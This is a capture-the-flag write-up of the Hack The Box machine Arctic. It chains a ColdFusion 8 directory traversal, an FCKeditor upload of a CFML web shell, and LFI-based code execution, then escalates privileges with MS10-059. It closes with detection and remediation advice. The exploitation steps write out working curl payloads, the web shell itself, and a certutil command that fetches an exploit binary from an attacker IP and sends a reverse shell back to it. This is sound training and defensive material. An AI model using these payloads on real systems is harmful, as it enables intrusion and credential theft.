Skip to content
Back to all posts

HTB: Arctic

· 16 min easy Windows Arctic

Adobe ColdFusion 8 on Windows Server 2008 R2 yields unauthenticated RCE through a three-part chain: directory traversal for credential extraction, FCKeditor file upload, and LFI-based CFML code injection. MS10-059 escalates to SYSTEM after JuicyPotato fails in the constrained cfexecute context.

Overview

Arctic is a retired Easy-rated Windows machine running Adobe ColdFusion 8.0.1 on the built-in JRun web server, listening on port 8500. Windows Server 2008 R2 sits underneath with zero hotfixes applied. Every HTTP request takes 30 to 60 seconds to respond, which shapes the entire engagement: tooling must tolerate minute-long round trips, and interactive shells are impractical.

The standard ColdFusion 8 exploitation path uses the admin panel’s scheduled task feature to download a JSP webshell. On this target, the scheduled task URL field is broken (possibly due to the server’s Greek locale), so I needed an alternative. The chain I use combines three vulnerabilities: a directory traversal (CVE-2010-2861) that extracts the admin password hash from password.properties, an unauthenticated FCKeditor file upload that places a .txt file containing CFML markup on the server, and a local file inclusion that causes ColdFusion’s template engine to process the uploaded file as code. This last step is less commonly documented than the scheduled task approach but bypasses the need for admin panel access entirely.

For privilege escalation, JuicyPotato was my first choice given tolis holds SeImpersonatePrivilege. It failed because ColdFusion 8 runs 32-bit Java under WoW64, and the cfexecute process context cannot instantiate the COM objects JuicyPotato requires. MS10-059 (Chimichurri) targets a kernel vulnerability instead, sidestepping the COM limitation.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -A -T4 -oA scans/arctic 10.129.15.232
PortServiceProduct / VersionNotes
135MSRPCMicrosoft Windows RPCStandard Windows service
8500fmtp?JRun Web ServerColdFusion application server
49154MSRPCMicrosoft Windows RPCDynamic RPC endpoint

Nmap does not fingerprint JRun on port 8500; the fmtp? label is a guess based on the port number. Browsing to http://10.129.15.232:8500/ reveals a directory listing with CFIDE/ and cfdocs/, immediately identifying Adobe ColdFusion. The admin panel is accessible at /CFIDE/administrator/.

ComponentVersion
Operating SystemWindows Server 2008 R2 SP0 x64 (6.1.7600)
Web ServerJRun Web Server (ColdFusion built-in)
ApplicationAdobe ColdFusion 8.0.1
LocaleGreek (el)

The Greek locale is relevant later: it breaks the scheduled task URL field in the admin panel, which is why the standard exploitation path fails.

Attack Surface Analysis

ColdFusion 8 exposes several default administrative paths:

  • /CFIDE/administrator/: admin login panel (enter.cfm)
  • /CFIDE/scripts/ajax/FCKeditor/: bundled FCKeditor with file upload
  • /cfdocs/: ColdFusion documentation

The FCKeditor file manager connector accepts unauthenticated POST requests. Uploaded files land in /userfiles/file/. The connector blocks executable extensions (.cfm, .jsp, .cfc) but permits .txt. On its own, uploading a text file is low-severity. Combined with the LFI below, it becomes the code execution primitive.

CVEDescriptionStatus
CVE-2010-2861Directory traversal in locale parameterExploited
MS10-059Kernel privilege escalation (KB982799 missing)Exploited
FCKeditorUnauthenticated file upload (.txt only)Exploited

Vulnerability Analysis

CVE-2010-2861: directory traversal with CFML inclusion

The locale parameter on /CFIDE/administrator/enter.cfm loads localisation resource files via ColdFusion’s template inclusion mechanism. The parameter value is concatenated into a file path without sanitisation, so directory traversal sequences (../) navigate to arbitrary files. A null byte (%00) truncates the appended .cfm extension.

The critical detail is what “include” means in ColdFusion. Unlike a raw file read, ColdFusion’s template engine processes CFML tags in included content. If the included file contains <cfexecute> tags, ColdFusion executes them during page rendering. This transforms a directory traversal from a confidentiality issue into a full code execution vector when the attacker controls any file on the filesystem.

FCKeditor unauthenticated upload

ColdFusion 8 bundles FCKeditor with an upload connector that requires no authentication. The extension blacklist blocks .cfm and .jsp but permits .txt. In isolation, this is a medium-severity finding: arbitrary file write with a non-executable extension. Combined with the CFML inclusion behaviour above, the .txt restriction is irrelevant because the template engine processes CFML tags regardless of file extension.

AttributeValue
CVECVE-2010-2861
CVSS v39.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-22 (Path Traversal), CWE-94 (Code Injection)
Root causeUnsanitised locale parameter + CFML template inclusion
MITRE ATT&CKT1190 (Exploit Public-Facing Application)

Exploitation

Step 1: Extract the admin password hash

The directory traversal reads ColdFusion’s password.properties file, which stores the admin password as an unsalted SHA-1 hash:

curl -s "http://10.129.15.232:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en" \
  | grep -o '<title>[^<]*</title>'
<title>password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
rdspassword=0IA/F1WR9X3UwihR45hLaf..
</title>

The hash appears in the <title> tag because the LFI inclusion point sits within the HTML <head>. ColdFusion 8 uses unsalted SHA-1 for password storage, so the hash cracks instantly against any rainbow table or by direct comparison:

echo -n "happyday" | sha1sum
# 2f635f6d20e3fde0c53075a84b68fb07dcec9b03  -

I did not need this password for the exploitation chain below, but extracting it confirmed the traversal worked and gave admin panel access as a fallback.

Step 2: Upload CFML shell via FCKeditor

I craft a minimal CFML web shell as a .txt file. The <cfexecute> tag runs cmd.exe with a command passed via the c URL parameter. The variable attribute captures stdout for display:

cat > shell.txt << 'EOF'
<cfexecute name="cmd.exe" arguments="/c #URL.c#"
  timeout="10" variable="output"></cfexecute>
<cfoutput>#output#</cfoutput>
EOF

curl -s -F "[email protected]" \
  "http://10.129.15.232:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/"

Response code 0 indicates success. The file is accessible at /userfiles/file/shell.txt.

Step 3: LFI + CFML injection for RCE

The LFI includes shell.txt into enter.cfm. ColdFusion processes the <cfexecute> tags during page rendering, executing the command I pass in the c parameter:

curl -s "http://10.129.15.232:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/wwwroot/userfiles/file/shell.txt%00en&c=whoami" \
  | grep -o '<title>[^<]*</title>'
<title>arctic\tolis
</title>

RCE confirmed as arctic\tolis.

Step 4: Privilege escalation via MS10-059

System enumeration reveals Windows Server 2008 R2 build 7600 with zero hotfixes:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
# OS Name:     Microsoft Windows Server 2008 R2 Standard
# OS Version:  6.1.7600 N/A Build 7600
# Hotfix(s):   N/A

The tolis service account has SeImpersonatePrivilege, which normally makes it a candidate for potato-family exploits. JuicyPotato failed here: ColdFusion 8 runs 32-bit Java under WoW64, and all child processes spawned by cfexecute inherit this constrained context. The COM object instantiation that JuicyPotato relies on is inaccessible from this environment.

MS10-059 (Chimichurri) targets a different vector: a kernel vulnerability in the Tracing Feature for Services that does not depend on COM. I use the x86 binary because the process context is 32-bit:

# Upload via certutil (a LOLBin download technique; no PowerShell needed)
curl -s "...&c=certutil+-urlcache+-split+-f+http://10.10.14.110:8080/ms.exe+C:\Windows\Temp\ms.exe"

# Execute (with listener on attacker: ncat -lvnp 4444)
curl -s "...&c=C:\Windows\Temp\ms.exe+10.10.14.110+4444"
C:\ColdFusion8\runtime\bin> whoami
nt authority\system

I chose certutil as the download method because it is present on all Windows versions from Server 2008 onwards and works from a non-interactive context. PowerShell was available but would have added complexity with execution policy and encoding.

Post-Exploitation

whoami /priv
# SeChangeNotifyPrivilege    Enabled
# SeImpersonatePrivilege     Enabled
# SeCreateGlobalPrivilege    Enabled

Zero hotfixes. The RTM release with no service packs or updates. Every component is beyond end-of-life: ColdFusion 8 (released 2007, EOL 2012), JRun (discontinued), FCKeditor (replaced by CKEditor in 2009), Windows Server 2008 R2 (EOL January 2020).

User flag at C:\Users\tolis\Desktop\user.txt. Root flag at C:\Users\Administrator\Desktop\root.txt.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190Web logs: locale parameter containing ../ or %00
CredentialT1552.001Web logs: LFI targeting password.properties
ExecutionT1059.003Process monitoring: cmd.exe spawned by jrun.exe
Privilege esc.T1068Sysmon: executable in C:\Windows\Temp\ spawned by Java
Defence evasionT1105Sysmon: certutil used as download cradle

Web server logs: Requests where the locale parameter exceeds 30 characters or contains traversal sequences (../, %2e%2e) are high-fidelity indicators. Null bytes (%00) in any parameter should trigger an alert unconditionally. POST requests to the FCKeditor upload connector from external IPs are equally suspicious; there is no legitimate reason for unauthenticated uploads.

Process monitoring: cmd.exe spawned as a child of jrun.exe or java.exe is anomalous in any ColdFusion deployment. The parent-child relationship is the key signal; legitimate ColdFusion operations do not shell out to cmd.exe. Executables running from C:\Windows\Temp\ with a Java process as parent should trigger immediate investigation.

certutil abuse: certutil -urlcache -f is a well-documented living-off-the-land binary (LOLBin) download technique. Sysmon event ID 1 (Process Create) with certutil and -urlcache in the command line is a reliable detection rule with low false-positive rates.

Remediation

PriorityActionEffortImpact
P0Decommission: CF8 and Server 2008 R2 are both EOLHighCritical
P1Apply APSB10-18 (Adobe security bulletin for CVE-2010-2861)LowHigh
P1Firewall port 8500 from untrusted networksLowHigh
P2Remove FCKeditor or restrict upload to authenticated usersLowMedium
P2Apply KB982799 (MS10-059)LowMedium
P3Upgrade to current supported versionsHighMedium

No combination of patches will bring this system to a defensible state. Every component is beyond end-of-life with no vendor support. ColdFusion 8 has additional unpatched vulnerabilities beyond CVE-2010-2861 (including CVE-2009-2265, a direct RCE via FCKeditor that was patched in later versions). The correct remediation is decommission and rebuild on current software.

Key Takeaways

  1. LFI in CFML templates is code execution, not file read. ColdFusion’s template engine processes CFML tags in included content regardless of file extension. Any writable location on the filesystem (FCKeditor uploads, temp directories, log files) becomes a code execution vector when combined with LFI. The same principle applies to PHP’s include() and JSP’s <jsp:include>: template inclusion is not a read operation.

  2. Architecture matters for exploit selection. ColdFusion 8 runs 32-bit Java under WoW64 on 64-bit Windows. All child processes inherit the 32-bit context. JuicyPotato x64 fails with an architecture mismatch, and even the x86 build fails because COM objects are inaccessible from the constrained cfexecute context. Always check the process architecture (wmic process get processid,name,executablepath) and test COM access before committing to a potato exploit.

  3. Slow targets require persistent infrastructure. Arctic’s 30 to 60 second response time means every command takes a full minute. HTTP servers must survive session interruptions. Reverse shells will timeout. Plan for latency: use file-based command execution (as I did here via the CFML webshell) rather than interactive sessions.

  4. When the standard path fails, chain smaller primitives. The scheduled task approach (the “standard” ColdFusion 8 exploit) broke due to the Greek locale. Rather than fighting the broken feature, I chained three lower-severity findings (traversal, upload, inclusion) into the same result. Individual vulnerabilities that appear low or medium severity in isolation often compose into critical chains.